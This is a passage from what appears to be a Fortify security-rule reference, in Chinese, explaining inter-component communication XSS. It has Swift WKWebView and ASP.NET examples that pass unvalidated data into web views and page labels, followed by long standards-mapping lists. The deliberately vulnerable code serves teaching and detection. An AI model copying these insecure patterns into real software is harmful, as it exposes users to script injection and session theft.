[16] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[17] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[18] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[19] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[20] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[21] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[25] Standards Mapping - OWASP Top 10 2021 A03 Injection
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[34] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[37] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[38] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[39] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[40] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[41] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[62] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[63] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[64] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.objc.cross_site_scripting_inter_component_communication
Abstract
傳送未經驗證的資料至網路瀏覽器,會導致瀏覽器執行惡意的程式碼。
Explanation
Cross-site scripting (XSS) 弱點會在以下情況中出現:

1. 資料從一個不可信賴的來源進入 Web 或行動應用程式。在 Inter-Component Communication XSS 案例中,不可信賴的來源為同一系統上其他元件所接收的資料。在行動環境中,這些是指在同一裝置上執行的應用程式。在 Reflected XSS 案例中,不可信賴的來源通常為網頁要求,而在 Persisted XSS (也可稱為 Stored XSS) 案例中,來源通常為資料庫或其他後端資料儲存區。


2.未經驗證且包含在動態內容中的資料將傳送給某個網頁使用者。

傳送到網頁瀏覽器的惡意內容經常是以 JavaScript 片段的形式出現,但是也可能包含 HTML、Flash 或者瀏覽器執行的任何其他程式碼類型。以 XSS 為基礎的攻擊手段花樣百出且幾乎無窮無盡,但是它們通常會傳輸 Cookie 或其他階段作業資訊之類的私人資料給攻擊者、將受害者重新導向到攻擊者控制的網頁內容,或者利用易受攻擊的網站,在使用者的機器上執行其他惡意操作。

有人認為在行動環境中,典型的 Web 應用程式弱點 (例如跨網站指令碼) 不會產生影響,因為使用者為何會攻擊自己呢?但是請謹記,行動平台的本質是從多種來源下載,並在相同裝置上一起執行的應用程式。在金融應用程式旁執行惡意程式碼的可能性很高,這必然會擴大行動應用程式的受攻擊面,將程序之間的通訊包括在內。

範例 1:以下程式碼可讓應用程式在含有資料的 WKWebView 中,從使用應用程式自訂 URL 架構的 URL 要求載入 html 頁面:


...
func application(app: UIApplication, openURL url: NSURL, options: [String : AnyObject]) -> Bool {
...
let name = getQueryStringParameter(url.absoluteString, "name")
let html = "Hi \(name)"
let webView = WKWebView()
webView.loadHTMLString(html, baseURL:nil)
...
}
func getQueryStringParameter(url: String?, param: String) -> String? {
if let url = url, urlComponents = NSURLComponents(string: url), queryItems = (urlComponents.queryItems as? [NSURLQueryItem]) {
return queryItems.filter({ (item) in item.name == param }).first?.value!
}
return nil
}
...


由於傳遞到 loadHTMLString: 的字串是使用者可控制的,並且 WKWebView 內依預設已啟用 JavaScript,因此使用者可透過使用應用程式自訂 URL 架構的要求,將任意內容 (包括可執行檔指令碼) 寫入 WKWebView。

範例 2:以下程式碼會讀取 UITextField 的內容,並在 WKWebView 中將其顯示給使用者:


...
let webView : WKWebView
let inputTextField : UITextField
webView.loadHTMLString(inputTextField.text, baseURL:nil)
...


如果 inputTextField 中的文字只包含標準英數字元,這個範例中的程式碼便會正常運作而不會有問題。如果 inputTextField 中的文字包括中繼字元或原始程式碼,那麼網路瀏覽器就會像顯示 HTTP 回應那樣,可能會將輸入當成程式碼來執行。

一開始,這似乎不會輕易受到攻擊。畢竟,誰會在自己的裝置上提供會導致惡意程式碼執行的輸入?真正的危險在於攻擊者可能使用電子郵件或社交工程病毒誘騙受害者執行此類動作。當這樣的誘騙成功,受害者就在不知情的情況下,透過易受攻擊的 Web 應用程式,將惡意內容帶回他們自己的裝置。這個利用易受攻擊的 Web 應用程式進行攻擊的機制就是通常所知的 Reflected XSS。

範例 3:以下程式碼片段會查詢資料庫中具有指定識別碼的員工,然後將值輸出於 WKWebView 的顯示內容中。


let fetchRequest = NSFetchRequest()
let entity = NSEntityDescription.entityForName("Employee", inManagedObjectContext: managedContext)
fetchRequest.entity = entity
do {
let results = try managedContext.executeFetchRequest(fetchRequest)
let result : NSManagedObject = results.first!
let name : String = result.valueForKey("name")
let msg : String = "Hello, \(name)"
let webView : UIWebView = UIWebView()
webView.loadHTMLString(msg, baseURL:nil)
} catch let error as NSError {
print("Error \(error)")
}


Example 2 所述,name 的值正常運作時,此程式碼也會正常運作,但如果該值不正常運作,則會完全無法避免程式碼遭受攻擊。此外,這個程式碼之所以看似不那麼危險,是因為 name 的值是從資料庫中讀取的,而顯然這些內容是由應用程式管理的。但是,如果 name 的值是從使用者提供的資料中產生,那麼資料庫可能會成為提供惡意內容的管道。如果未對資料庫中儲存的所有資料進行適當的輸入驗證,那麼攻擊者可能在使用者的網路瀏覽器中執行惡意指令。這類型的攻擊稱為 Persistent XSS (或 Stored XSS),其性質特別狡詐,因為間接的資料儲存方式而難以辨別該威脅,且該攻擊影響多個使用者的可能性可能提高。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript,所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。

如同範例中所示,XSS 的弱點是由 HTTP 回應中包含未經驗證資料的程式碼所引起的。XSS 攻擊有三種途徑可攻擊受害者:

- 如 Example 1 所述,目標應用程式以外的來源會使用目標應用程式的自訂 URL 架構提出 URL 要求,之後來自此 URL 要求的未驗證資料會被當作信賴的資料讀回到應用程式,並會包含在動態內容中。

- 如 Example 2 所述,會直接從使用者可控制的 UI 元件讀取資料,並在 HTTP 回應中傳回資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式,接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行,這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是,將惡意內容當作參數隱藏在公開發表的 URL 中,或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心,攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後,就會執行這些內容,並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者,或者執行其他惡意活動。

- 如 Example 3 所述,應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存區中。這些危險資料隨後會被回讀到應用程式,並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現:攻擊者把危險內容插入到之後會讀取的資料儲存區中,並包含在動態內容中。從攻擊者的角度來看,插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限,或者會與敏感資料進行互動,且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容,攻擊者可能會代替使用者去執行需要權限許可的作業,或者取得存取使用者專屬敏感資料的權限。
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] W/Labs Continued Adventures with iOS UIWebViews
[4] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[5] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[10] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[11] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[12] Standards Mapping - FIPS200 SI
[13] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[16] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[17] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[18] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[19] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[20] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[21] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[25] Standards Mapping - OWASP Top 10 2021 A03 Injection
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[34] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[37] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[38] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[39] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[40] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[41] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[62] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[63] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[64] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.swift.cross_site_scripting_inter_component_communication
Abstract
傳送未經驗證的資料至網路瀏覽器,會導致瀏覽器執行惡意的程式碼。
Explanation
Cross-site scripting (XSS) 弱點會在以下情況中出現:

1.資料從一個不可信賴的來源進入存放在雲端的 Web 應用程式。如果是 Inter-Component Communication Cloud XSS,不可信賴的來源是指透過雲端主機提供的通訊通道,從雲端應用程式的其他元件接收的資料。


2.未經驗證且包含在動態內容中的資料將傳送給某個網頁使用者。

傳送到網頁瀏覽器的惡意內容經常是以 JavaScript 片段的形式出現,但是也可能包含 HTML、Flash 或者瀏覽器執行的任何其他程式碼類型。以 XSS 為基礎的攻擊手段花樣百出且幾乎無窮無盡,但是它們通常會傳輸 Cookie 或其他階段作業資訊之類的私人資料給攻擊者、將受害者重新導向到攻擊者控制的網頁內容,或者利用易受攻擊的網站,在使用者的機器上執行其他惡意操作。

範例 1:以下 ASP.NET 網頁表單會在 Azure Table Service 中查詢員工並列印名稱。

<script runat="server">
...
var retrieveOperation = TableOperation.Retrieve<EmployeeInfo>(partitionKey, rowKey);
var retrievedResult = employeeTable.Execute(retrieveOperation);
var employeeInfo = retrievedResult.Result as EmployeeInfo;
string name = employeeInfo.Name
...
EmployeeName.Text = name;
</script>


其中,EmployeeName 是定義如下的表單控制項:


<form runat="server">
...
<asp:Label id="EmployeeName" runat="server">
...
</form>
範例 2:以下 ASP.NET 程式碼片段的功能與之前的 Example 1 相當,不過卻是以程式設計方式來實作所有的表單元素。

protected System.Web.UI.WebControls.Label EmployeeName;
...
var retrieveOperation = TableOperation.Retrieve<EmployeeInfo>(partitionKey, rowKey);
var retrievedResult = employeeTable.Execute(retrieveOperation);
var employeeInfo = retrievedResult.Result as EmployeeInfo;
string name = employeeInfo.Name
...
EmployeeName.Text = name;
Name 值正常運作時,這些程式碼範例也會正常運作,但如果該值不正常運作時,則會完全無法避免程式碼遭受攻擊。這個程式碼之所以較不危險,是因為 Name 值是從雲端提供的儲存服務中讀取的,且顯然是由分散式應用程式管理這些值的內容。但是,如果 Name 的值是從使用者提供的資料中產生,那麼雲端提供的儲存服務可能會成為提供惡意內容的管道。如果未對資料庫中儲存的所有資料進行適當的輸入驗證,那麼攻擊者可能在使用者的網路瀏覽器中執行惡意指令。這種類型的攻擊,被稱作 Inter-Component Communication Cloud XSS,是特別狡詐的,因為間接的資料儲存方式使得該威脅難以辨別,而且提高了該攻擊會影響到多個使用者的可能性。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript,所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。

範例 3:以下 ASP.NET 網頁表單會從 HTTP 要求讀取員工識別碼,然後顯示給使用者。

<script runat="server">
...
EmployeeID.Text = Login.Text;
...
</script>


其中,LoginEmployeeID 是定義如下的表單控制項:


<form runat="server">
<asp:TextBox runat="server" id="Login"/>
...
<asp:Label runat="server" id="EmployeeID"/>
</form>
範例 4:以下的 ASP.NET 程式碼片段會示範以程式設計方式來實作 Example 3

protected System.Web.UI.WebControls.TextBox Login;
protected System.Web.UI.WebControls.Label EmployeeID;
...
EmployeeID.Text = Login.Text;


Example 1Example 2 所述,如果 Login 只包含標準英數字元,這些範例就會正確運作。如果 Login 中有包含中繼字元或來源程式碼中的值,那麼網路瀏覽器就會像顯示 HTTP 回應那樣執行程式碼。

一開始,這似乎不會輕易受到攻擊。畢竟,誰會在自己的電腦中輸入會執行惡意程式碼的 URL? 真正的危險是攻擊者會建立惡意的 URL,然後使用電子郵件或社交工程技倆來誘騙受害者按下連結。當受害者按下該連結時,他們即不知不覺地透過易受攻擊的 Web 應用程式,將惡意內容資訊帶回他們自己的電腦。這個利用易受攻擊的 Web 應用程式進行攻擊的機制就是通常所知的 Reflected XSS。

如同範例中所示,XSS 的弱點是由 HTTP 回應中包含未經驗證資料的程式碼所引起的。XSS 攻擊有三種途徑可攻擊受害者:

- 如 Example 1Example 2 所述,應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存區中。這些危險資料隨後會被回讀到應用程式,並包含在動態內容中。Inter-Component Communication Cloud XSS 攻擊會在以下情況出現:攻擊者把危險內容注入到之後會讀取的資料儲存區中,並包含在動態內容中。從攻擊者的角度來看,插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限,或者會與敏感資料進行互動,且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容,攻擊者可能會代替使用者去執行需要權限許可的作業,或者取得存取使用者專屬敏感資料的權限。

- 如 Example 3Example 4 所述,會直接從 HTTP 要求中讀取資料,並在 HTTP 回應中回傳資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式,接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行,這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是,將惡意內容當作參數隱藏在公開發表的 URL 中,或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心,攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後,就會執行這些內容,並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者,或者執行其他惡意活動。

- 應用程式以外的來源會在資料庫或是其他資料記憶體中儲存危險資料,且之後這些危險資料會被當作信賴的資料回讀到應用程式,並會包含在動態內容中。

有許多現代的 Web 架構提供執行使用者輸入驗證的機制 (包括 ASP.NET 要求驗證和 WCF)。為了突顯未驗證的輸入來源,Fortify 安全編碼檢查規則會降低 Fortify Static Code Analyzer 所報告之問題的攻擊可能性,並在使用框架驗證機制時提供支援證據的指標,以動態重新排列其優先順序。如果是 ASP.NET 要求驗證,我們也會針對何時明確停用驗證提供證據。我們將此功能稱為「內容相關性排名」。為了進一步協助 Fortify 使用者進行稽核程序,Fortify Software 安全研發團隊提供了資料驗證專案範本,該範本會依據套用到其輸入來源的驗證機制,按資料夾對問題進行分組。
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Anti-Cross Site Scripting Library MSDN
[4] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[5] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[10] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[11] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[12] Standards Mapping - FIPS200 SI
[13] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[16] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[17] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[18] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[19] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[20] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2021 A03 Injection
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[37] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[39] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[40] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
